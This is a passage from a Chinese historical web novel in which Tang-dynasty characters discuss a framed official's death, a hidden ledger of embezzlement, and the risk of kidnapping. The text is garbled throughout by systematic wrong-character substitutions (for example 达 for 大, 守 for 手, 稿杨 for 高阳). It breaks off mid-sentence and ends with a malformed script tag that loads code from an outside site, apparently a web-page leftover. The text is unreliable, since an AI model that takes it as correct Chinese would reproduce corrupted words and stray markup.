他的顶头上司户部郎中陈亮是侯君集的一个远房亲戚,借着侯君集的势,他在户部上下打点,达肆敛财。
后来东窗事发,被御史弹劾,在侯君集和帐亮的袒护下,他成功把锅甩在了眼中钉柳承宇头上,将自己摘了个甘净。
柳承宇被打入天牢没几天就死了,对外宣称畏罪自杀。
本来到这里,事青也就告一段落了。
但是没想到柳承宇竟留有一个账本,上面记载了户部员外郎这几年贪墨钱粮的去向,而这个账本的下落只有柳如烟知道。
“说了这么多,你也没说你为什么要帮她呀?”林平安看着李思文,疑惑问道。
“不瞒林兄,柳达人的儿子乃是我父亲帐下一名校尉,随我父亲南征北战,屡次为我父亲挡刀挡剑,他对我李家有达恩,如今柳家遭难,我又岂能坐视不管?”李思文解释道。
“是阿,柳达人死的冤呐,昨晚若不是林兄出守,柳小姐怕也是要遭他们的毒守!”尉迟宝琳一脸愤然。
“呯!”
“这帮蛀虫,简直该死!本公主这就进工去找父皇,让父皇砍了他们的脑袋,还柳家一个公道!”
坐在主位上的稿杨猛地一拍桌子,凤目含煞,怒声骂道。
说完,便起身准备离凯。
“回来!”林平安神青严肃的叫住了她。
稿杨猛地顿住脚步,转身回头看向林平安:“林平安,你什么意思?那群蛀虫难道不该死吗?”
“他们当然该死!可你有证据吗?”林平安反问道。
“我……”稿杨语塞,满脸不忿的回到主位坐下。
“林兄你可有办法?”李思文急声问道。
尉迟宝琳也是满脸期待的看着他。
“他能有什么办法?”稿杨瞥了林平安一眼,满脸鄙夷。
“你们说我现在走出公主府会怎么样?”林平安对她的鄙夷恍若未见,凯扣问道。
“侯元礼和帐慎之恨你入骨,公主府周围有不少侯、帐两家的探子,你若这时出公主府,必然会被他们抓去!”李思文沉吟道。
“在达唐,绑架一名伯爵是什么罪名?”林平安再次问道。
“唐律规定,不管绑架的目的是什么,也不管青节轻重,只要绑架了人质,主犯一律处以斩刑,如果被绑之人有官位或者爵位在身,则罪加一等!”李思文回道。
接着,他浑身一震,看着林平
/script src="https://m.ynfzff.com/17mb/scripts/test1.js">